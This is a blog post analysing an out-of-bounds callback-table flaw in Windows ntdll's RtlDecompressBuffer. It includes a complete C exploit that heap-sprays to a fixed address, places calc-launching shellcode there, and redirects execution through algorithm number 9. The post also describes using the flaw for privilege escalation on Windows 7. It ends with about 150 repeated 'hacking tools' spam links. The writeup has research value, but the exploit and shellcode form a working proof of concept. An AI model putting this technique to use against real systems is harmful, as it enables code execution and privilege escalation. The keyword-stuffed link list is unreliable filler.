Monday, May 29, 2023

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More info


  1. Beginner Hacker Tools
  2. Pentest Tools Nmap
  3. Usb Pentest Tools
  4. How To Install Pentest Tools In Ubuntu
  5. Hacker Tools Windows
  6. Hacker Search Tools
  7. Github Hacking Tools
  8. Pentest Tools Download
  9. Hacking Tools For Windows 7
  10. Hacker Security Tools
  11. Hacking Tools For Beginners
  12. Hacking Tools Online
  13. Hack Tools
  14. Hacking Tools For Windows Free Download
  15. Hacker Tools Free
  16. Hacking Apps
  17. Best Hacking Tools 2019
  18. Hack App
  19. Hacker Tools Free
  20. Pentest Tools Find Subdomains
  21. Tools Used For Hacking
  22. Pentest Tools For Mac
  23. Hacking Tools For Windows 7
  24. New Hacker Tools
  25. Pentest Tools Free
  26. Pentest Tools Free
  27. Hacking Tools 2019
  28. Pentest Tools
  29. Android Hack Tools Github
  30. Pentest Tools List
  31. Hack Tools Mac
  32. Hacker Hardware Tools
  33. Hacking Tools Software
  34. Hacking Tools Windows 10
  35. World No 1 Hacker Software
  36. Underground Hacker Sites
  37. Hacking Tools Online
  38. Hacking Tools For Kali Linux
  39. Pentest Tools Review
  40. Hacking Tools Windows 10
  41. Hacker Techniques Tools And Incident Handling
  42. Hacker Tools Online
  43. Pentest Automation Tools
  44. Hacking Tools Mac
  45. Tools For Hacker
  46. Hack Tools Mac
  47. Hacks And Tools
  48. Beginner Hacker Tools
  49. New Hack Tools
  50. Computer Hacker
  51. Hacker Tool Kit
  52. Pentest Tools Bluekeep
  53. Easy Hack Tools
  54. Hack Tools Pc
  55. Hacking Tools 2019
  56. Hacking Tools Mac
  57. Hacker Tools List
  58. Hacking Tools 2020
  59. Pentest Tools Github
  60. Hacker Tools Github
  61. Pentest Tools Review
  62. Hacking Tools Name
  63. What Are Hacking Tools
  64. Pentest Tools For Ubuntu
  65. Underground Hacker Sites
  66. Hacker Tools Linux
  67. Pentest Tools Url Fuzzer
  68. Hacking Tools Online
  69. Hacking Tools
  70. Hacker Tools Windows
  71. World No 1 Hacker Software
  72. Hacker Tools Free Download
  73. Hacking Tools For Mac
  74. Hacking Tools For Beginners
  75. What Is Hacking Tools
  76. Hack Tools Github
  77. Free Pentest Tools For Windows
  78. Tools For Hacker
  79. Hacker Tools For Windows
  80. Pentest Tools For Mac
  81. Usb Pentest Tools
  82. Pentest Tools For Android
  83. Hacker Search Tools
  84. Hackers Toolbox
  85. Tools Used For Hacking
  86. Hacking Tools Software
  87. Install Pentest Tools Ubuntu
  88. Pentest Tools Linux
  89. Hacking Tools 2019
  90. Hackrf Tools
  91. Pentest Tools For Mac
  92. Pentest Tools Subdomain
  93. Hacker Hardware Tools
  94. Pentest Tools Free
  95. Physical Pentest Tools
  96. Pentest Recon Tools
  97. Pentest Tools Nmap
  98. Tools Used For Hacking
  99. Hacker Tools Apk
  100. Hacking Tools Hardware
  101. Hack Tools 2019
  102. Hacker Tools For Pc
  103. Pentest Tools Windows
  104. Pentest Tools For Android
  105. New Hack Tools
  106. Hacking Tools And Software
  107. Pentest Tools
  108. Hacking Tools Windows 10
  109. Hacker Tools Windows
  110. Hacker Tools 2020
  111. New Hack Tools
  112. Hack Tools Online
  113. Hacking Tools For Pc
  114. Hacking Tools Github
  115. Growth Hacker Tools
  116. Pentest Tools Bluekeep
  117. Hack Tools For Mac
  118. Pentest Tools Website Vulnerability
  119. Pentest Tools List
  120. What Is Hacking Tools
  121. Hacking Tools Software
  122. Pentest Tools For Mac
  123. Hack Tools Github
  124. Easy Hack Tools
  125. Hacking Tools Software
  126. Best Hacking Tools 2020
  127. Pentest Automation Tools
  128. How To Make Hacking Tools
  129. Hacker Tools Windows
  130. Hack Tools 2019
  131. Pentest Tools For Windows
  132. Hacking Tools Kit
  133. Nsa Hack Tools Download
  134. Hacker Tools For Pc
  135. Hacking Tools Hardware
  136. Hacking Apps
  137. Physical Pentest Tools
  138. Hacking Tools 2020
  139. Usb Pentest Tools
  140. Pentest Tools Github
  141. Pentest Tools Website Vulnerability
  142. What Is Hacking Tools
  143. Termux Hacking Tools 2019
  144. Pentest Tools Github
  145. Pentest Box Tools Download
  146. Game Hacking
  147. Hack Tool Apk
  148. Hacking Tools Hardware
  149. Hacker Tool Kit
  150. Hacker Tools Software
  151. Hak5 Tools

No comments:

Post a Comment